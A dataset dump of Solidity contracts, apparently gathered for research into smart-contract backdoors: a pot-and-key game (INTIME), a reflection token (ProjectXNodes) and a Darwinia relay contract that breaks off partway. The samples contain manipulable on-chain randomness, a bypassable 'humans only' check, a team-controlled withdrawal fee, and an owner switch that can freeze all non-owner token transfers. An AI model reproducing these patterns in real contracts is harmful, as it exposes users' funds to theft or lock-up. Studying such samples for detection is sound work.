hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
02b798b0ed89057d7b97057a28d60d74408b640105b5cf5232e832297ea09530
| 15,527 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x62190802001819f42cb2eda7017d3c617af431c1.sol
| 3,982 | 14,096 |
pragma solidity ^0.4.24;
contract INTIME {
using SafeMath for *;
struct Player {
uint id;
uint referrer;
uint generation;
string name;
uint256 weight;
uint256 balance;
uint256 withdrawal;
uint256 referralBonus;
uint256 lastKeyBonus;
uint256 potBonus;
uint256 stakingBonus;
uint256 airdropBonus;
}
mapping(address => Player) public players;
// System
address public teamAddress;
uint256 public teamNamingIncome;
address public keyAddress;
address[] participantPool;
uint256 participantPoolStart;
uint256 participantPoolEnd;
address[] public participants;
uint256 public participantsLength;
address[] public winner;
uint256 public deadline;
uint256 keyPrice_min;
uint256 keyPrice_max;
uint256 public keyPrice;
uint256 public currentGeneration;
uint256 public currentKeyRound;
uint256 public duration;
uint256[] public durationPhaseArray;
uint256 public durationPhaseIndex;
uint256 public poolWeight;
uint256 public poolBalance;
uint256 public poolReward;
uint256 public poolWithdraw;
bool public airdropped;
bool public keyLocked;
uint256 public airdropWinTime;
uint256 public airdropBalance;
uint256 public airdroppedAmount;
uint256 public unitStake;
uint256 public potReserve;
mapping(string => address) addressFromName;
event Withdrawal(address indexed _from,
uint256 _value);
event Deposit(address indexed _keyHolder,
uint256 _weight,
uint256 _keyPrice,
uint256 _deadline,
uint256 _durationPhaseIndex,
bool _phaseChanged,
uint256 _poolBalance,
uint256 _poolReward,
uint256 _poolWeight,
// If Airdrop
bool _airdropped,
uint256 _airdropBalance,
// If Trigger Reserve
bool _potReserveGive,
uint256 _potReserve);
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
constructor (address _teamAddress) public {
teamAddress = _teamAddress;
keyPrice_min = 1e14; // in wei, 0.0001 eth
keyPrice_max = 15e15; // in wei, 0.015 eth
keyPrice = keyPrice_min; // in wei, 0.0001 eth
keyAddress = msg.sender;
durationPhaseArray = [1440, 720, 360, 180, 90, 60, 30];
durationPhaseIndex = 0;
duration = durationPhaseArray[durationPhaseIndex];
currentGeneration = 0;
resetGame();
}
function resetGame() private {
uint256 residualBalance = 0;
if(currentGeneration != 0) {
// Distribute tokens
// Staking distribution => distributed on deposit
// Pool distribution => 20%
unitStake = 0;
// 75% for the winner;
players[keyAddress].balance += poolBalance / 5 * 75 / 100;
players[keyAddress].lastKeyBonus += poolBalance / 5 * 75 / 100;
// 15% for random participant
if(participantPoolEnd - participantPoolStart > 0) {
uint randParticipantIndex = rand(participantPoolStart + 1, participantPoolEnd);
players[participantPool[randParticipantIndex - 1]].balance += poolBalance / 5 * 15 / 100;
players[participantPool[randParticipantIndex - 1]].lastKeyBonus += poolBalance / 5 * 15 / 100;
} else {
players[keyAddress].balance += poolBalance / 5 * 15 / 100;
players[keyAddress].lastKeyBonus += poolBalance / 5 * 15 / 100;
}
// 10% and pot reserve for next round
residualBalance += poolBalance / 5 * 10 / 100 + potReserve;
winner.push(keyAddress);
}
airdropWinTime = now;
keyPrice = 1e15;
poolWeight = 0;
poolReward = 0;
potReserve = 0;
// Reset duration and deadline
durationPhaseIndex = 0;
duration = durationPhaseArray[durationPhaseIndex];
deadline = now + duration * 1 minutes;
poolBalance = residualBalance;
keyLocked = false;
currentKeyRound = 0;
currentGeneration ++;
keyAddress = teamAddress;
participantPoolStart = participantPool.length;
participantPoolEnd = participantPool.length;
}
function setName(string name) isHuman() payable public {
uint256 amount = msg.value;
require(amount >= 1e15);
require(addressFromName[name] == address(0));
players[teamAddress].balance += amount;
teamNamingIncome += amount;
players[msg.sender].name = name;
addressFromName[name] = msg.sender;
}
function referralName (string name) isHuman() payable public {
if(addressFromName[name] != address(0) && addressFromName[name] != msg.sender && players[msg.sender].referrer == 0)
players[msg.sender].referrer = players[addressFromName[name]].id;
uint256 amount = msg.value;
deposit(amount);
}
function referralPay (uint referrer) isHuman() payable public {
if(referrer > participants.length)
referrer = 0;
if(players[msg.sender].id != referrer && players[msg.sender].referrer == 0)
players[msg.sender].referrer = referrer;
uint256 amount = msg.value;
deposit(amount);
}
function () isHuman() payable public {
uint256 amount = msg.value;
deposit(amount);
}
function depositVault (uint keyCount, uint referrer) isHuman() public {
require(keyLocked == false);
keyLocked = true;
// Buy key from current balance
uint256 amount = keyCount * keyPrice;
uint256 availableWithdrawal = players[msg.sender].balance - players[msg.sender].withdrawal;
require(amount <= availableWithdrawal);
require(amount > 0);
players[msg.sender].withdrawal += amount;
if(referrer > participants.length)
referrer = 0;
if(players[msg.sender].id != referrer && players[msg.sender].referrer == 0)
players[msg.sender].referrer = referrer;
keyLocked = false;
deposit(amount);
}
function deposit(uint256 amount) private {
if(now >= deadline) resetGame();
require(keyLocked == false);
keyLocked = true;
// Update pool balance
require(amount >= keyPrice, "You have to buy at least one key.");
poolBalance += amount;
currentKeyRound ++;
participantPool.push(msg.sender);
participantPoolEnd = participantPool.length;
// Update deadline if not last round
if(durationPhaseIndex < 6) deadline = now + duration * 1 minutes;
// Update key holder
keyAddress = msg.sender;
if(players[msg.sender].generation == 0) {
participants.push(msg.sender);
participantsLength = participants.length;
players[msg.sender].id = participants.length;
}
if(players[msg.sender].generation != currentGeneration) {
players[msg.sender].generation = currentGeneration;
players[msg.sender].weight = 0;
}
// Handling stake distribution
uint256 p_i = 0;
uint256 deltaStake = 0;
address _addr;
// 58% for staking
if(poolWeight > 0) {
unitStake = amount * 58 / 100 / poolWeight;
for(p_i = 0; p_i < participants.length; p_i++) {
_addr = participants[p_i];
if(players[_addr].generation == currentGeneration) {
players[_addr].balance += players[_addr].weight * unitStake;
players[_addr].stakingBonus += players[_addr].weight * unitStake;
}
}
}
// 15% for referral
if(players[msg.sender].referrer > 0) {
_addr = participants[players[msg.sender].referrer - 1];
players[_addr].balance += amount * 15 / 100;
players[_addr].referralBonus += amount * 15 / 100;
} else {
if(poolWeight > 0) {
deltaStake = amount * 15 / 100 / poolWeight;
for(p_i = 0; p_i < participants.length; p_i++) {
_addr = participants[p_i];
if(players[_addr].generation == currentGeneration) {
players[_addr].balance += players[_addr].weight * deltaStake;
players[_addr].stakingBonus += players[_addr].weight * deltaStake;
}
}
} else {
players[teamAddress].balance += amount * 15 / 100;
players[teamAddress].stakingBonus += amount * 15 / 100;
}
}
// 4% for team
unitStake += deltaStake;
players[teamAddress].balance += amount * 4 / 100;
players[teamAddress].stakingBonus += amount * 4 / 100;
poolReward += amount * 77 / 100;
airdropBalance += amount * 2 / 100;
airdropped = false;
airdroppedAmount = 0;
uint randNum = 0;
if(amount >= 1e17 && amount < 1e18) {
// 0.1 ~ 1 eth, 1% chance
randNum = rand(1, 10000);
if(randNum <= 10) airdropped = true;
} else if(amount >= 1e18 && amount < 1e19) {
// 1 eth ~ 10 eth, 10% chance
randNum = rand(1, 10000);
if(randNum <= 100) airdropped = true;
} else if(amount >= 1e19) {
// greater than 1 eth, 5% chance
randNum = rand(1, 10000);
if(randNum <= 500) airdropped = true;
}
bool _phaseChanged = false;
if(airdropped) {
airdropWinTime = now;
players[msg.sender].balance += airdropBalance;
players[msg.sender].airdropBonus += airdropBalance;
poolReward += airdropBalance;
airdroppedAmount = airdropBalance;
airdropBalance = 0;
if(durationPhaseIndex == 0 && airdropBalance >= 1e18) _phaseChanged = true;
else if(durationPhaseIndex == 1 && airdropBalance >= 2e18) _phaseChanged = true;
else if(durationPhaseIndex == 2 && airdropBalance >= 3e18) _phaseChanged = true;
else if(durationPhaseIndex == 3 && airdropBalance >= 5e18) _phaseChanged = true;
else if(durationPhaseIndex == 4 && airdropBalance >= 7e18) _phaseChanged = true;
else if(durationPhaseIndex == 5 && airdropBalance >= 1e19) _phaseChanged = true;
if(_phaseChanged) {
durationPhaseIndex ++;
duration = durationPhaseArray[durationPhaseIndex];
deadline = now + duration * 1 minutes;
}
}
// Staking weight calculation
uint256 weight = amount.mul(1e7).div(keyPrice);
players[msg.sender].weight += weight;
uint256 originalPoolSegment = poolWeight / ((5e5).mul(1e7));
poolWeight += weight;
uint256 afterPoolSegment = poolWeight / ((5e5).mul(1e7));
// Different Segment => giveout potReserve, every 1e5 keys
potReserve += amount * 1 / 100;
bool _potReserveGive = false;
uint256 _potReserve = potReserve;
if(originalPoolSegment != afterPoolSegment) {
_potReserveGive = true;
players[msg.sender].balance += potReserve;
players[msg.sender].potBonus += potReserve;
poolReward += potReserve;
potReserve = 0;
}
// Grow key price
if(keyPrice < keyPrice_max) {
keyPrice = keyPrice_max - (1e23 - poolBalance).mul(keyPrice_max - keyPrice_min).div(1e23);
} else {
keyPrice = keyPrice_max;
}
keyLocked = false;
emit Deposit(msg.sender,
weight,
keyPrice,
deadline,
durationPhaseIndex,
_phaseChanged,
poolBalance,
poolReward,
poolWeight,
airdropped,
airdropBalance,
_potReserveGive,
_potReserve);
}
uint256 nonce = 0;
function rand(uint min, uint max) private returns (uint){
nonce++;
return uint(keccak256(toBytes(nonce)))%(min+max)-min;
}
function toBytes(uint256 x) private pure returns (bytes b) {
b = new bytes(32);
assembly { mstore(add(b, 32), x) }
}
function safeWithdrawal() isHuman() public {
uint256 availableWithdrawal = players[msg.sender].balance - players[msg.sender].withdrawal;
require(availableWithdrawal > 0);
require(keyLocked == false);
keyLocked = true;
poolWithdraw += availableWithdrawal;
players[msg.sender].withdrawal += availableWithdrawal;
msg.sender.transfer(availableWithdrawal);
keyLocked = false;
emit Withdrawal(msg.sender, availableWithdrawal);
}
function helpWithdrawal(address userAddress) isHuman() public {
// Will only be executed when user himself cannot withdraw and asks our team for help
require(msg.sender == teamAddress);
uint256 availableWithdrawal = players[userAddress].balance - players[userAddress].withdrawal;
require(availableWithdrawal > 0);
require(keyLocked == false);
keyLocked = true;
poolWithdraw += availableWithdrawal;
players[userAddress].withdrawal += availableWithdrawal;
// Service fee: 5%
players[teamAddress].balance += availableWithdrawal * 5 / 100;
// User get 95%
userAddress.transfer(availableWithdrawal * 95 / 100);
keyLocked = false;
emit Withdrawal(userAddress, availableWithdrawal);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
| 147,965 | 11,300 |
434cd704f27a2909082f3aa3188a21472c34ccf6e57f45bdfea4dc4a1c8ee504
| 29,630 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/6b/6b6c55e0cbbf8564e1aeaf235b835ae0beb11dfe_ProjectXNodes.sol
| 5,263 | 18,830 |
//https://discord.gg/vhn9hgTa
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ProjectXNodes is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 48000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'ProjectXNodes';
string private _symbol = 'PXT';
uint8 private _decimals = 18;
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint256 private _maxTxAmount = 48000 * 10**18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function taxFee() public view returns (uint256) {
return _taxFee;
}
function burnFee() public view returns (uint256) {
return _burnFee;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total Tester3");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() public view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 0 && taxFee <= 10, 'taxFee should be in 0 - 10');
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
require(burnFee >= 0 && burnFee <= 10, 'burnFee should be in 0 - 10');
_burnFee = burnFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 0 , 'maxTxAmount should be greater than 0');
_maxTxAmount = maxTxAmount;
}
}
| 86,657 | 11,301 |
f2361b0f8bd5226d7f69942d7ac56e0ba530b031397ebc36fda48699a6e52602
| 12,502 |
.sol
|
Solidity
| false |
289165897
|
darwinia-network/darwinia-messages-sol
|
6f20950e445e6a63a96d0119c51679220ce2ff1d
|
contracts/deprecated/bridge/contracts/ethereum/v1/Relay.sol
| 2,860 | 11,249 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.7.0;
import "@openzeppelin/contracts/proxy/Initializable.sol";
import "@darwinia/contracts-utils/contracts/Blake2b.sol";
import "@darwinia/contracts-utils/contracts/Ownable.sol";
import "@darwinia/contracts-utils/contracts/Pausable.sol";
import "@darwinia/contracts-utils/contracts/ECDSA.sol";
import "@darwinia/contracts-utils/contracts/Hash.sol";
import "@darwinia/contracts-utils/contracts/SafeMath.sol";
import "@darwinia/contracts-utils/contracts/Input.sol";
import "@darwinia/contracts-utils/contracts/Bytes.sol";
import "@darwinia/contracts-utils/contracts/Scale.sol";
import "@darwinia/contracts-verify/contracts/MMR.sol";
import "@darwinia/contracts-verify/contracts/SimpleMerkleProof.sol";
pragma experimental ABIEncoderV2;
contract Relay is Ownable, Pausable, Initializable {
using Bytes for bytes;
event SetRootEvent(address relayer, bytes32 root, uint256 index);
event SetAuthoritiesEvent(uint32 nonce, address[] authorities, bytes32 beneficiary);
event ResetRootEvent(address owner, bytes32 root, uint256 index);
event ResetAuthoritiesEvent(uint32 nonce, address[] authorities);
///
/// Function: updateRelayer(bytes message, bytes[] signatures, bytes32 benefit)
/// MethodID: 0xb4bcf497
///
/// Function: appendRoot(bytes memory message,bytes[] memory signatures)
/// MethodID: 0x479fbdf9
///
struct Relayers {
// Each time the relay set is updated, the nonce is incremented
// After the first "updateRelayer" call, the nonce value is equal to 1,
// which is different from the field "Term" at the node.
address[] member;
uint32 nonce;
uint8 threshold;
}
Relayers relayers;
// 'Crab', 'Darwinia', 'Pangolin'
bytes private networkPrefix;
// index => mmr root
// In the Darwinia Network, the mmr root of block 1000
// needs to be queried in Log-Other of block 1001.
mapping(uint32 => bytes32) public mmrRootPool;
// _MMRIndex - mmr index or block number corresponding to mmr root
// _genesisMMRRoot - mmr root
// _relayers - Keep the same as the "ethereumRelayAuthorities" module in darwinia network
// _nonce - To prevent replay attacks
// _prefix - The known values are: "Pangolin", "Crab", "Darwinia"
function initialize(uint32 _MMRIndex,
bytes32 _genesisMMRRoot,
address[] memory _relayers,
uint32 _nonce,
uint8 _threshold,
bytes memory _prefix) public initializer {
ownableConstructor();
pausableConstructor();
_appendRoot(_MMRIndex, _genesisMMRRoot);
_resetRelayer(_nonce, _relayers);
_setNetworkPrefix(_prefix);
_setRelayThreshold(_threshold);
}
/// ==== Getters ====
function getRelayerCount() public view returns (uint256) {
return relayers.member.length;
}
function getRelayerNonce() public view returns (uint32) {
return relayers.nonce;
}
function getRelayer() public view returns (address[] memory) {
return relayers.member;
}
function getNetworkPrefix() public view returns (bytes memory) {
return networkPrefix;
}
function getRelayerThreshold() public view returns (uint8) {
return relayers.threshold;
}
function getMMRRoot(uint32 index) public view returns (bytes32) {
return mmrRootPool[index];
}
function getLockTokenReceipt(bytes32 root, bytes memory eventsProofStr, bytes memory key)
public
view
whenNotPaused
returns (bytes memory)
{
Input.Data memory data = Input.from(eventsProofStr);
bytes[] memory proofs = Scale.decodeReceiptProof(data);
bytes memory result = SimpleMerkleProof.getEvents(root, key, proofs);
return result;
}
function isRelayer(address addr) public view returns (bool) {
for (uint256 i = 0; i < relayers.member.length; i++) {
if (addr == relayers.member[i]) {
return true;
}
}
return false;
}
function checkNetworkPrefix(bytes memory prefix) view public returns (bool) {
return getNetworkPrefix().equals(prefix);
}
function checkRelayerNonce(uint32 nonce) view public returns (bool) {
return nonce == getRelayerNonce();
}
/// ==== Setters ====
// message - prefix + nonce + [...relayers]
